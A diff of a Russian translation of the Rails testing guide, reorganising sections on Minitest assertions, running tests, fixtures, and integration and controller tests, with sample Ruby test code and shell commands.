мы будем использовать приложение, созданное в руководстве [Rails для начинающих](/getting-started-with-rails). +### Rails встретился с Minitest -Если помните, ранее мы использовали команду `rails generate scaffold`. Мы создали наш первый ресурс, где, среди прочего, создался незаконченный тест в папке `test/models`: +Если помните, мы использовали команду `rails generate scaffold` в руководстве [Rails для начинающих](/getting-started-with-rails). Мы создали наш первый ресурс, где, среди прочего, создался незаконченные тесты в папке `test`: ```bash $ bin/rails generate scaffold article title:string body:text @@ -235,38 +124,6 @@ assert true Каждый тест должен содержать минимум одно утверждение без ограничений на их максимальное количество. Только когда все утверждения успешны, тест проходит. -### Поддержка схемы тестовой базы данных - -Чтобы запустить тесты, ваша тестовая база данных должна иметь текущую структуры. Тестовый хелпер проверяет, не имеет ли ваша тестовая база данных отложенных миграций. Если так, он пытается загрузить ваши `db/schema.rb` или `db/structure.sql` в тестовую базу данных. Если есть отложенные миграции - будет вызвана ошибка. Обычно это указывает на то, что ваша схема не полностью смигрирована. Запуск миграций для базы данных development (`bin/rake db:migrate`) приведет схему в актуальное состояние. - -NOTE: Если существующие миграции требуют модификации, нужно перестроить тестовую базу данных. Это делается с помощью выполнения `bin/rake db:test:prepare`. - -### Запуск тестов - -Запуск теста так же прост, как вызов файла, содержащего тестовый случай, с помощью команды `rails test`: - -```bash -$ bin/rails test test/models/article_test.rb -. -Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s. - -1 tests, 1 assertions, 0 failures, 0 errors, 0 skips -``` - -Это запустит все тестовые методы из тестового случая. - -Также можете запустить определенный тестовый метод из тестового случая, запустив тест и предоставив `имя тестового метода`. - -```bash -$ bin/rails test test/models/article_test.rb test_the_truth -. -Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s. - -1 tests, 1 assertions, 0 failures, 0 errors, 0 skips -``` - -Точка `.` обозначает прошедший тест. Когда тест проваливается, вы увидите `F`; когда тест вызывает ошибку, вы увидите `E` в этом месте. Последняя строка результата - это итоги. - #### Ваш первый падающий тест Чтобы увидеть, как сообщается провал теста, вы можете добавить проваливающийся тест в тестовый случай `article_test.rb`. @@ -355,107 +212,380 @@ test_should_report_error(ArticleTest): NameError: undefined local variable or method `some_undefined_variable' for # test/models/article_test.rb:10:in `block in ' -1 tests, 0 assertions, 0 failures, 1 errors, 0 skips -``` +1 tests, 0 assertions, 0 failures, 1 errors, 0 skips +``` + +Отметьте 'E' в результате. Она отмечает тест с ошибкой. + +NOTE: Запуск каждого тестового метода останавливается как только случается любая ошибка или провал утверждения, и набор тестов продолжается со следующего метода. Все тестовые методы запускаются в случайном порядке. Для настройки порядка тестирования может быть использована [опция `config.active_support.test_order`](/configuring-rails-applications#configuring-active-support). + +Когда тест проваливается, вам показывается соответствующий бэктрейс. По умолчанию Rails фильтрует этот бэктрейс и печатает только строчки, относящиеся к вашему приложению. Это устраняет шум от фреймворка и помогает сфокусироваться на вашем коде. Однако, бывают ситуации, когда вам захочется увидеть полный бэктрейс. Просто установите аргумент `-b` (или `--backtrace`) для включения этого поведения: + +```bash +$ bin/rails test -b test/models/article_test.rb +``` + +Если хотите, чтобы этот тест прошел, можно его изменить, используя `assert_raises` следующим образом: + +```ruby +test "should report error" do + # переменная some_undefined_variable не определена в тесте + assert_raises(NameError) do + some_undefined_variable + end +end +``` + +Теперь этот тест должен пройти. + +### Доступные утверждения + +К этому моменту вы уже увидели некоторые из имеющихся утверждений. Утверждения - это рабочие лошадки тестирования. Они единственные, кто фактически выполняет проверки, чтобы убедиться, что все работает как задумано. + +Ниже представлена выдержка утверждений, которые вы можете использовать с [`Minitest`](https://github.com/seattlerb/minitest), библиотекой тестирования, используемой Rails по умолчанию. Параметр `[msg]` - это опциональное строковое сообщение, которое вы можете указать для того, чтобы сделать сообщение о провале более ясным. Это не обязательно. + +| Утверждение | Назначение | +| ---------------------------------------------------------------- | ---------- | +| `assert( test, [msg] )` | Утверждает, что `test` истинно.| +| `assert_not( test, [msg] )` | Утверждает, что `test` ложно.| +| `assert_equal( expected, actual, [msg] )` | Утверждает, что `expected == actual` истинно.| +| `assert_not_equal( expected, actual, [msg] )` | Утверждает, что `expected != actual` истинно.| +| `assert_same( expected, actual, [msg] )` | Утверждает, что `expected.equal?(actual)` истинно.| +| `assert_not_same( expected, actual, [msg] )` | Утверждает, что `expected.equal?(actual)` ложно.| +| `assert_nil( obj, [msg] )` | Утверждает, что `obj.nil?` истинно.| +| `assert_not_nil( obj, [msg] )` | Утверждает, что `obj.nil?` ложно.| +| `assert_empty( obj, [msg] )` | Утверждает, что `obj` является `empty?`.| +| `assert_not_empty( obj, [msg] )` | Утверждает, что `obj` не является `empty?`.| +| `assert_match( regexp, string, [msg] )` | Утверждает, что строка соответствует регулярному выражению.| +| `assert_no_match( regexp, string, [msg] )` | Утверждает, что строка не соответствует регулярному выражению.| +| `assert_includes( collection, obj, [msg] )` | Утверждает, что `obj` находится в `collection`.| +| `assert_not_includes( collection, obj, [msg] )` | Утверждает, что `obj` не находится в `collection`.| +| `assert_in_delta( expected, actual, [delta], [msg] )` | Утверждает, что между числами `expected` и `actual` разницу `delta`.| +| `assert_not_in_delta( expected, actual, [delta], [msg] )` | Утверждает, что между числами `expected` и `actual` разница, отличная от `delta`.| +| `assert_throws( symbol, [msg] ) { block }` | Утверждает, что переданный блок бросает symbol.| +| `assert_raises( exception1, exception2, ... ) { block }` | Утверждает, что переданный блок генерирует одно из переданных исключений.| +| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Утверждает, что переданный блок не генерирует одно из переданных исключений.| +| `assert_instance_of( class, obj, [msg] )` | Утверждает, что `obj` является экземпляром `class`.| +| `assert_not_instance_of( class, obj, [msg] )` | Утверждает, что `obj` не является экземпляром `class`.| +| `assert_kind_of( class, obj, [msg] )` | Утверждает, что `obj` является экземпляром `class` или класса, наследуемого от него.| +| `assert_not_kind_of( class, obj, [msg] )` | Утверждает, что `obj` не является экземпляром `class` или класса, наследуемого от него.| +| `assert_respond_to( obj, symbol, [msg] )` | Утверждает, что `obj` отвечает на `symbol`.| +| `assert_not_respond_to( obj, symbol, [msg] )` | Утверждает, что `obj` не отвечает на `symbol`.| +| `assert_operator( obj1, operator, [obj2], [msg] )` | Утверждает, что `obj1.operator(obj2)` истинно.| +| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Утверждает, что `obj1.operator(obj2)` ложно.| +| `assert_predicate ( obj, predicate, [msg] )` | Утверждает, что `obj.predicate` истинно, т.е. `assert_predicate str, :empty?`| +| `assert_not_predicate ( obj, predicate, [msg] )` | Утверждает, что `obj.predicate` ложно, т.е. `assert_not_predicate str, :empty?`| +| `assert_send( array, [msg] )` | Утверждает, что выполнение метода из `array[1]` на объекте из `array[0]` с параметрами `array[2 and up]` истинно. Это странно, да?| +| `flunk( [msg] )` | Утверждает провал. Это полезно для явного указания теста, который еще не закончен.| + +Представленный выше список утверждений поддерживается minitest. Более полный и более актуальный список всех доступных утверждений смотрите в [документации Minitest API](http://docs.seattlerb.org/minitest/), в частности [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html) + +В силу модульной природы фреймворка тестирования, возможно создать свои собственные утверждения. Фактически Rails так и делает. Он включает некоторые специализированные утверждения, чтобы сделать жизнь разработчика проще. + +NOTE: Создание собственных утверждений это особый разговор, которого мы касаться не будем. + +### Специфичные утверждения Rails + +Rails добавляет некоторые свои утверждения в фреймворк `minitest`: + +| Утверждение | Назначение | +| --------------------------------------------------------------------------------- | ---------- | +| `assert_difference(expressions, difference = 1, message = nil) {...}` |Тестирует числовую разницу между возвращаемым значением expression и результатом вычисления в данном блоке.| +| `assert_no_difference(expressions, message = nil, &block)` |Обеспечивает, что числовой результат вычисления expression не изменяется до и после применения переданного в блоке.| +| `assert_recognizes(expected_options, path, extras={}, message=nil)` |Обеспечивает, что роутинг данного path был правильно обработан, и что проанализированные опции (заданные в хэше expected_options) соответствуют path. По существу он утверждает, что Rails распознает маршрут, заданный в expected_options.| +| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` |Утверждает, что предоставленные options могут быть использованы для создания предоставленного пути. Это противоположность assert_recognizes. Параметр extras используется, чтобы сообщить запросу имена и значения дополнительных параметров запроса, которые могут быть в строке запроса. Параметр message позволяет определить свое сообщение об ошибке при провале утверждения.| +| `assert_response(type, message = nil)` |Утверждает, что отклик идет с определенным кодом статуса. Можете определить `:success` для обозначения 200-299, `:redirect` для обозначения 300-399, `:missing` для обозначения 404, или `:error` для соответствия диапазону 500-599. Можно передать явный номер статуса или его символьный эквивалент. Более подробно смотрите в [полном списке кодов статуса](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) и как работает их [привязка](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant).| +| `assert_redirected_to(options = {}, message=nil)` |Утверждает, что опции перенаправления передаются в соответствии с вызовами перенаправления в последнем экшне. Это соответствие может быть частичным, так `assert_redirected_to(controller: "weblog")` будет также соответствовать перенаправлению `redirect_to(controller: "weblog", action: "show")` и тому подобное. Также можно передать именнованные маршруты, как в `assert_redirected_to root_path`, и объекты Active Record, как в `assert_redirected_to @article`.| + +Вы увидите использование некоторых из этих утверждений в следующей части. + +### Краткая заметка о тестовых случаях + +Все основные утверждения, такие как `assert_equal`, определенные в `Minitest::Assertions`, также доступны в классах, используемых в наших тестовых случаях. Фактически, Rails представляет вам следующие классы для наследования: + +* `ActiveSupport::TestCase` +* `ActionController::TestCase` +* `ActionMailer::TestCase` +* `ActionView::TestCase` +* `ActionDispatch::IntegrationTest` +* `ActiveJob::TestCase` + +Каждый из этих классов включает `Minitest::Assertions`, позволяя использовать все основые утверждения в наших тестах. + +NOTE: За подробностями о `Minitest` обратитесь к [его документации](http://docs.seattlerb.org/minitest) + +### Запуск тестов Rails + +Можно запустить все тесты за раз с помощью команды `rails test`. + +Или можно запустить отдельный тест, передав команде `rails test` имя файла, содержащего тестовые случаи. + +```bash +$ bin/rails test test/models/article_test.rb +. +Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s. + +1 tests, 1 assertions, 0 failures, 0 errors, 0 skips +``` + +Это запустит все тестовые методы из тестового случая. + +Также можете запустить определенный тестовый метод из тестового случая, предоставив флажок `-n` или `--name` и имя метода теста. + +```bash +$ bin/rails test test/models/article_test.rb -n test_the_truth +. + +Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s. + +1 tests, 1 assertions, 0 failures, 0 errors, 0 skips +``` + +Также можно запустить тест в определенной строчке, предоставив номер строчки. + +```bash +$ bin/rails test test/models/post_test.rb:44 # запускает определенный тест и строчку +``` + +Также можно запустить целую директорию тестов, предоставив путь к этой директории. + +```bash +$ bin/rails test test/controllers # запускает все тесты из определенной директории +``` + +Тестовая база данных +-------------------- + +Почти каждое приложение на Rails сильно взаимодействует с базой данных, и, как результат, тестам также требуется база данных для работы. Чтобы писать эффективные тесты, следует понять, как настроить эту базу данных и наполнить ее образцом данных. + +По умолчанию каждое приложение на Rails имеет три среды разработки: development, test и production. База данных для каждой из них настраивается в `config/database.yml`. + +Отдельная тестовая база данных позволяет настраивать и работать с данными в изоляции. Таким образом, тесты могут искажать тестовые данные с уверенностью, не беспокоясь о данных в базах данных development или production. + +### Поддержка схемы тестовой базы данных + +Чтобы запустить тесты, ваша тестовая база данных должна иметь текущую структуры. Тестовый хелпер проверяет, не имеет ли ваша тестовая база данных отложенных миграций. Если так, он пытается загрузить ваши `db/schema.rb` или `db/structure.sql` в тестовую базу данных. Если есть отложенные миграции - будет вызвана ошибка. Обычно это указывает на то, что ваша схема не полностью смигрирована. Запуск миграций для базы данных development (`bin/rake db:migrate`) приведет схему в актуальное состояние. + +NOTE: Если существующие миграции требуют модификации, нужно перестроить тестовую базу данных. Это делается с помощью выполнения `bin/rake db:test:prepare`. + +### Полная информация по фикстурам + +Для хороших тестов необходимо подумать о настройке тестовых данных. В Rails этим можно управлять, определяя и настраивая фикстуры. Подробности можно узнать в [документации API фикстур](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). + +#### Что такое фикстуры? + +_Fixtures_ это выдуманное слово для образцов данных. Фикстуры позволяют заполнить вашу тестовую базу данных предопределенными данными до запуска тестов. Фикстуры независимы от типа базы данных и написаны на YAML. На каждую модель имеется отдельный файл. + +Фикстуры расположены в директории `test/fixtures`. Когда запускаете `rails generate model` для создания новой модели, Rails автоматически создаст незаконченные фикстуры в этой директории. + +#### YAML + +Фикстуры в формате YAML являются дружелюбным способом описать ваш образец данных. Этот тип фикстур имеет расширение файла *.yml* (как в `users.yml`). + +Вот образец файла фикстуры YAML: + +```yaml +# lo & behold! I am a YAML comment! +david: + name: David Heinemeier Hansson + birthday: 1979-10-15 + profession: Systems development + +steve: + name: Steve Ross Kellock + birthday: 1974-09-27 + profession: guy with keyboard +``` + +Каждой фикстуре дается имя со следующим за ним списком с отступом пар ключ/значение, разделенных двоеточием. Записи обычно разделяются пустой строкой. Можете помещать комментарии в файл фикстуры, используя символ # в первом столбце. + +Если работаете со [связями](/active-record-associations), можно просто определить ссылку между двумя различными фикстурами. Вот пример для связи `belongs_to`/`has_many`: + +```yaml +# In fixtures/categories.yml +about: + name: About + +# In fixtures/articles.yml +one: + title: Welcome to Rails! + body: Hello world! + category: about +``` + +Отметьте, что у ключа `category` в статье `one` из `fixtures/articles.yml` значение `about`. Это говорит Rails загрузить категорию `about` из `fixtures/categories.yml`. + +NOTE: При связи двух записей по имени в связанных фикстурах нельзя указывать атрибут `id:`. Rails автоматически назначит первичный ключ, согласующийся между запусками. Подробнее об этом поведении связей можно прочитать в [документации API фикстур](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). + +#### ERb + +ERb позволяет встраивать код Ruby в шаблоны. Формат фикстур YAML предварительно обрабатывается с помощью ERb при загрузке фикстур. Это позволяет использовать Ruby для помощи в создании некоторых образцов данных. Например, следующий код создаст тысячу пользователей: + +```erb +<% 1000.times do |n| %> +user_<%= n %>: + username: <%= "user#{n}" %> + email: <%= "user#{n}@example.com" %> +<% end %> +``` + +#### Фикстуры в действии + +Rails по умолчанию автоматически загружает все фикстуры из директории `test/fixtures` для ваших тестов моделей и контроллеров. Загрузка состоит из трех этапов: + +1. Убираются любые существующие данные из таблицы, соответствующей фикстуре +2. Загружаются данные фикстуры в таблицу +3. Выгружаются данные фикстуры в переменную, в случае, если вы хотите обращаться к ним напрямую + +TIP: Чтобы убрать существующие данные из базы, Rails пытается отключить тригеры ссылочной целостности (такие как внешние ключи и проверки ограничений). Если вы получаете надоедливые ошибки доступа при запуске тестов, убедитесь, что у пользователя базы данных есть привелегия отключать эти тригеры в тестовой среде. (В PostgreSQL только суперюзеры могут отключать все тригеры. Подробнее о разрешениях PostgreSQL читайте [здесь](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)) + +#### Фикстуры это объекты Active Record + +Фикстуры являются экземплярами Active Record. Как упоминалось в этапе №3 выше, Вы можете обращаться к объекту напрямую, поскольку он автоматически доступен как метод, область видимости которого локальна для тестового случая. Например: + +```ruby +# это возвратит объект User для фикстуры с именем david +users(:david) + +# это возвратит свойство для david, названное id +users(:david).id + +# он имеет доступ к методам, доступным для класса User +email(david.partner.email, david.location_tonight) + +``` + +Чтобы получить несколько фикстур за раз, вы можете передать список имен фикстур. Например: + +```ruby +# это возвратит массив, содержаший фикстуры david и steve +users(:david, :steve) +``` + +Тестирование моделей +-------------------- + +Тесты моделей используются для тестирования различных моделей вашего приложения. + +Тесты моделей Rails хранятся в директории `test/models` directory. Rails предоставляет генератор для создания скелета теста модели. + +```bash +$ bin/rails generate test_unit:model article title:string body:text +create test/models/article_test.rb +create test/fixtures/articles.yml +``` + +У тестов модели нет своего собственного суперкласса, такого как `ActionMailer::TestCase`, вместо этого они наследуются от `ActiveSupport::TestCase`. + +Интеграционное тестирование +--------------------------- + +Интеграционные тесты используются для тестирования взаимодействия различных частей вашего приложения. Они в основном используются для тестирования важных рабочих процессов в вашем приложении. + +Для создания итеграционных тестов Rails используется директория 'test/integration' вашего приложения. Rails предоставляет вам генератор для создания скелета интеграционного теста. + +```bash +$ bin/rails generate integration_test user_flows + exists test/integration/ + create test/integration/user_flows_test.rb +``` + +Вот как выглядит вновь созданный интеграционный тест: + +```ruby +require 'test_helper' + +class UserFlowsTest < ActionDispatch::IntegrationTest + # test "the truth" do + # assert true + # end +end +``` + +Наследование от `ActionController::IntegrationTest` дает несколько преимуществ. Это делает доступным несколько дополнительных хелперов для использования в ваших интеграционных тестах. + +### Хелперы, доступные для интеграционных тестов + +В дополнение к стандартным хелперам тестирования, наследование от `ActionDispatch::IntegrationTest` дает несколько дополнительных хелперов для написания интеграционных тестов. Давайте для краткости представим три категории хелперов. + +Для работы с runner'ом интеграционных тестов, смотрите [`ActionDispatch::Integration::Runner`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Runner.html). + +Для выполнения запросов у вас есть [`ActionDispatch::Integration::RequestHelpers`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/RequestHelpers.html). + +Если хотите изменить сессию или состояние вашего интеграционного теста, вам поможет [`ActionDispatch::Integration::Session`](http://api.rubyonrails.org/classes/ActionDispatch/Integration/Session.html). -Отметьте 'E' в результате. Она отмечает тест с ошибкой. +### Реализация интеграционного теста -NOTE: Запуск каждого тестового метода останавливается как только случается любая ошибка или провал утверждения, и набор тестов продолжается со следующего метода. Все тестовые методы запускаются в случайном порядке. Для настройки порядка тестирования может быть использована [опция `config.active_support.test_order`](/configuring-rails-applications#configuring-active-support). +Давайте добавим интеграционный тест в наше приложение блога. Начнем с основного процесса создания новой статьи блога, чтобы убедиться, что все работает правильно. -Когда тест проваливается, вам показывается соответствующий бэктрейс. По умолчанию Rails фильтрует этот бэктрейс и печатает только строчки, относящиеся к вашему приложению. Это устраняет шум от фреймворка и помогает сфокусироваться на вашем коде. Однако, бывают ситуации, когда вам захочется увидеть полный бэктрейс. Просто установите аргумент `-b` (или `--backtrace`) для включения этого поведения: +Начнем с создания скелета нашего интеграционного теста: ```bash -$ bin/rails test -b test/models/article_test.rb +$ bin/rails generate integration_test blog_flow ``` -Если хотите, чтобы этот тест прошел, можно его изменить, используя `assert_raises` следующим образом: +Он должен создать файл для размещения теста, и в результате предыдущей команды вы должны увидеть: -```ruby -test "should report error" do - # переменная some_undefined_variable не определена в тесте - assert_raises(NameError) do - some_undefined_variable - end -end +```bash + invoke test_unit + create test/integration/blog_flow_test.rb ``` -Теперь этот тест должен пройти. +Теперь откроем этот файл и напишем наше первое утверждение: -### Доступные утверждения +```ruby +require 'test_helper' -К этому моменту вы уже увидели некоторые из имеющихся утверждений. Утверждения - это рабочие лошадки тестирования. Они единственные, кто фактически выполняет проверки, чтобы убедиться, что все работает как задумано. +class BlogFlowTest < ActionDispatch::IntegrationTest + test "can see the welcome page" do + get "/" + assert_select "h1", "Welcome#index" + end +end +``` -Ниже представлена выдержка утверждений, которые вы можете использовать с [`Minitest`](https://github.com/seattlerb/minitest), библиотекой тестирования, используемой Rails по умолчанию. Параметр `[msg]` - это опциональное строковое сообщение, которое вы можете указать для того, чтобы сделать сообщение о провале более ясным. Это не обязательно. +Как помните из раздела "Тестирование вьюх", мы раскрыли `assert_select` для выборки результирующего HTML запроса. -| Утверждение | Назначение | -| ---------------------------------------------------------------- | ---------- | -| `assert( test, [msg] )` | Утверждает, что `test` истинно.| -| `assert_not( test, [msg] )` | Утверждает, что `test` ложно.| -| `assert_equal( expected, actual, [msg] )` | Утверждает, что `expected == actual` истинно.| -| `assert_not_equal( expected, actual, [msg] )` | Утверждает, что `expected != actual` истинно.| -| `assert_same( expected, actual, [msg] )` | Утверждает, что `expected.equal?(actual)` истинно.| -| `assert_not_same( expected, actual, [msg] )` | Утверждает, что `expected.equal?(actual)` ложно.| -| `assert_nil( obj, [msg] )` | Утверждает, что `obj.nil?` истинно.| -| `assert_not_nil( obj, [msg] )` | Утверждает, что `obj.nil?` ложно.| -| `assert_empty( obj, [msg] )` | Утверждает, что `obj` является `empty?`.| -| `assert_not_empty( obj, [msg] )` | Утверждает, что `obj` не является `empty?`.| -| `assert_match( regexp, string, [msg] )` | Утверждает, что строка соответствует регулярному выражению.| -| `assert_no_match( regexp, string, [msg] )` | Утверждает, что строка не соответствует регулярному выражению.| -| `assert_includes( collection, obj, [msg] )` | Утверждает, что `obj` находится в `collection`.| -| `assert_not_includes( collection, obj, [msg] )` | Утверждает, что `obj` не находится в `collection`.| -| `assert_in_delta( expected, actual, [delta], [msg] )` | Утверждает, что между числами `expected` и `actual` разницу `delta`.| -| `assert_not_in_delta( expected, actual, [delta], [msg] )` | Утверждает, что между числами `expected` и `actual` разница, отличная от `delta`.| -| `assert_throws( symbol, [msg] ) { block }` | Утверждает, что переданный блок бросает symbol.| -| `assert_raises( exception1, exception2, ... ) { block }` | Утверждает, что переданный блок генерирует одно из переданных исключений.| -| `assert_nothing_raised( exception1, exception2, ... ) { block }` | Утверждает, что переданный блок не генерирует одно из переданных исключений.| -| `assert_instance_of( class, obj, [msg] )` | Утверждает, что `obj` является экземпляром `class`.| -| `assert_not_instance_of( class, obj, [msg] )` | Утверждает, что `obj` не является экземпляром `class`.| -| `assert_kind_of( class, obj, [msg] )` | Утверждает, что `obj` является экземпляром `class` или класса, наследуемого от него.| -| `assert_not_kind_of( class, obj, [msg] )` | Утверждает, что `obj` не является экземпляром `class` или класса, наследуемого от него.| -| `assert_respond_to( obj, symbol, [msg] )` | Утверждает, что `obj` отвечает на `symbol`.| -| `assert_not_respond_to( obj, symbol, [msg] )` | Утверждает, что `obj` не отвечает на `symbol`.| -| `assert_operator( obj1, operator, [obj2], [msg] )` | Утверждает, что `obj1.operator(obj2)` истинно.| -| `assert_not_operator( obj1, operator, [obj2], [msg] )` | Утверждает, что `obj1.operator(obj2)` ложно.| -| `assert_predicate ( obj, predicate, [msg] )` | Утверждает, что `obj.predicate` истинно, т.е. `assert_predicate str, :empty?`| -| `assert_not_predicate ( obj, predicate, [msg] )` | Утверждает, что `obj.predicate` ложно, т.е. `assert_not_predicate str, :empty?`| -| `assert_send( array, [msg] )` | Утверждает, что выполнение метода из `array[1]` на объекте из `array[0]` с параметрами `array[2 and up]` истинно. Это странно, да?| -| `flunk( [msg] )` | Утверждает провал. Это полезно для явного указания теста, который еще не закончен.| +#### Создание интеграции статей -Представленный выше список утверждений поддерживается minitest. Более полный и более актуальный список всех доступных утверждений смотрите в [документации Minitest API](http://docs.seattlerb.org/minitest/), в частности [`Minitest::Assertions`](http://docs.seattlerb.org/minitest/Minitest/Assertions.html) +Как насчет тестирования возможности создавать новую статью в нашем блоге и просматривать полученную статью. -В силу модульной природы фреймворка тестирования, возможно создать свои собственные утверждения. Фактически Rails так и делает. Он включает некоторые специализированные утверждения, чтобы сделать жизнь разработчика проще. +```ruby +test "can create an article" do + get "/articles/new" + assert_response :success -NOTE: Создание собственных утверждений это особый разговор, которого мы касаться не будем. + post "/articles", + params: { article: { title: "can create", body: "article successfully." } } + assert_response :redirect + follow_redirect! + assert_response :success + assert_select "p", "Title:\n can create" +end +``` -### Специфичные утверждения Rails +Давайте разобъем этот тест на кусочки, чтобы понять его. -Rails добавляет некоторые свои утверждения в фреймворк `minitest`: +Мы начинаем с вызова экшна `:new` контроллера Articles. Этот запрос должен быть успешным. -| Утверждение | Назначение | -| --------------------------------------------------------------------------------- | ---------- | -| `assert_difference(expressions, difference = 1, message = nil) {...}` |Тестирует числовую разницу между возвращаемым значением expression и результатом вычисления в данном блоке.| -| `assert_no_difference(expressions, message = nil, &block)` |Обеспечивает, что числовой результат вычисления expression не изменяется до и после применения переданного в блоке.| -| `assert_recognizes(expected_options, path, extras={}, message=nil)` |Обеспечивает, что роутинг данного path был правильно обработан, и что проанализированные опции (заданные в хэше expected_options) соответствуют path. По существу он утверждает, что Rails распознает маршрут, заданный в expected_options.| -| `assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)` |Утверждает, что предоставленные options могут быть использованы для создания предоставленного пути. Это противоположность assert_recognizes. Параметр extras используется, чтобы сообщить запросу имена и значения дополнительных параметров запроса, которые могут быть в строке запроса. Параметр message позволяет определить свое сообщение об ошибке при провале утверждения.| -| `assert_response(type, message = nil)` |Утверждает, что отклик идет с определенным кодом статуса. Можете определить `:success` для обозначения 200-299, `:redirect` для обозначения 300-399, `:missing` для обозначения 404, или `:error` для соответствия диапазону 500-599. Можно передать явный номер статуса или его символьный эквивалент. Более подробно смотрите в [полном списке кодов статуса](http://rubydoc.info/github/rack/rack/master/Rack/Utils#HTTP_STATUS_CODES-constant) и как работает их [привязка](http://rubydoc.info/github/rack/rack/master/Rack/Utils#SYMBOL_TO_STATUS_CODE-constant).| -| `assert_redirected_to(options = {}, message=nil)` |Утверждает, что опции перенаправления передаются в соответствии с вызовами перенаправления в последнем экшне. Это соответствие может быть частичным, так `assert_redirected_to(controller: "weblog")` будет также соответствовать перенаправлению `redirect_to(controller: "weblog", action: "show")` и тому подобное. Также можно передать именнованные маршруты, как в `assert_redirected_to root_path`, и объекты Active Record, как в `assert_redirected_to @article`.| +После этого мы делаем запрос post к экшну `:create` нашего контроллера Articles: -Вы увидите использование некоторых из этих утверждений в следующей части. +```ruby +post "/articles", + params: { article: { title: "can create", body: "article successfully." } } +assert_response :redirect +follow_redirect! +``` -### Краткая заметка о Minitest +Следующие две строчки — это обработка редиректа, который мы настроили при создании новой статьи. -Все основные утверждения, такие как `assert_equal`, определенные в `Minitest::Assertions`, также доступны в классах, используемых в наших тестовых случаях. Фактически, Rails представляет вам следующие классы для наследования: +NOTE: Не забывайте вызвать `follow_redirect!` Если планируете сделать последовательные запросы после выполнения редиректа. -* `ActiveSupport::TestCase` -* `ActionController::TestCase` -* `ActionMailer::TestCase` -* `ActionView::TestCase` -* `ActionDispatch::IntegrationTest` -* `ActiveJob::TestCase` +Наконец, мы убеждаемся, что наш отклик был успешным, и нашу статью можно прочесть на странице. -Каждый из этих классов включает `Minitest::Assertions`, позволяя использовать все основые утверждения в наших тестах. +#### Идем дальше -NOTE: За подробностями о `Minitest` обратитесь к [Minitest](http://docs.seattlerb.org/minitest) +У нас получилось протестировать маленький процесс посещения нашего блога и создания новой статьи. Если мы хотим идти дальше, мы можем добавить тесты для комментирования, удаления статей и редактирования комментариев. Интеграционные тесты — это отличное место для экспериментов с различными сценариями использования приложения. Функциональные тесты для ваших контроллеров ------------------------------------------- @@ -474,6 +604,13 @@ NOTE: За подробностями о `Minitest` обратитесь к [Min Теперь, когда мы использовали Rails scaffold generator для нашего ресурса `Article`, он также создал код контроллера и тесты. Можете посмотреть файл `articles_controller_test.rb` в директории `test/controllers`. +Следующая команда сгенерирует тестовый случай для контроллера, предзаполеннный тестом для каждого из семи экшнов по умолчанию. + +```bash +$ bin/rails generate test_unit:scaffold article +create test/controllers/articles_controller_test.rb +``` + Давайте пробежимся про одному такому тесту, `test_should_get_index` из файла `articles_controller_test.rb`. ```ruby @@ -561,9 +698,9 @@ end После того, как запрос был сделан и обработан, у вас будет 3 объекта Hash, готовых для использования: -* `cookies` - Любые установленные куки. -* `flash` - Любые объекты, находящиеся во flash. -* `session` - Любый объекты, находящиеся в переменных сессии. +* `cookies` - Любые установленные куки +* `flash` - Любые объекты, находящиеся во flash +* `session` - Любый объекты, находящиеся в переменных сессии Как и в случае с обычными объектами Hash, можете получать доступ к значениям, указав ключ в строке. Также можете указать его именем символа. Например: @@ -784,33 +921,7 @@ end Тестирование маршрутов ---------------------- -Как и все другое в вашем приложении Rails, ваши маршруты рекомендуется тестировать. Ниже пример тестов для маршрутов к экшенам `show` и `create` контроллера `Articles`: - -```ruby -class ArticleRoutesTest < ActionController::TestCase - test "should route to article" do - assert_routing '/articles/1', { controller: "articles", action: "show", id: "1" } - end - - test "should route to create article" do - assert_routing({ method: 'post', path: '/articles' }, { controller: "articles", action: "create" }) - end -end -``` - -Этот файл добавлен тут `test/controllers/articles_routes_test.rb`, и если его запустить, мы увидим: - -```bash -$ bin/rails test test/controllers/articles_routes_test.rb - -# Running: - -.. - -Finished in 0.069381s, 28.8263 runs/s, 86.4790 assertions/s. - -2 runs, 6 assertions, 0 failures, 0 errors, 0 skips -``` +Как и все другое в вашем приложении Rails, ваши маршруты можно тестировать. Подробности о тестировании маршрутов доступны в Rails, обратитесь к документации API для [`ActionDispatch::Assertions::RoutingAssertions`](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/RoutingAssertions.html). @@ -895,8 +1006,6 @@ end ```ruby class UserHelperTest < ActionView::TestCase - include UserHelper - test "should return the user name" do # ... end @@ -905,116 +1014,6 @@ end Более того, так как этот класс теста расширяет `ActionView::TestCase`, у вас есть доступ к методам хелпера Rails, таким как `link_to` или `pluralize`. -Интеграционное тестирование ---------------------------- - -Интеграционные тесты используются для тестирования взаимодействия различных частей вашего приложения. Они в основном используются для тестирования важных рабочих процессов в вашем приложении. - -Для создания итеграционных тестов Rails используется директория 'test/integration' вашего приложения. Rails предоставляет вам генератор для создания скелета интеграционного теста. - -```bash -$ bin/rails generate integration_test user_flows - exists test/integration/ - create test/integration/user_flows_test.rb -``` - -Вот как выглядит вновь созданный интеграционный тест: - -```ruby -require 'test_helper' - -class UserFlowsTest < ActionDispatch::IntegrationTest - # test "the truth" do - # assert true - # end -end -``` - -Наследование от `ActionController::IntegrationTest` дает несколько преимуществ. Это делает доступным несколько дополнительных хелперов для использования в ваших интеграционных тестах. - -### Хелперы, доступные для интеграционных тестов - -В дополнение к стандартным хелперам тестирования, наследование от `ActionDispatch::IntegrationTest` дает несколько дополнительных хелперов для написания интеграционных тестов. Давайте для краткости представим три категории хелперов. - -Для работы с runner'ом интеграционных тестов, смотрите 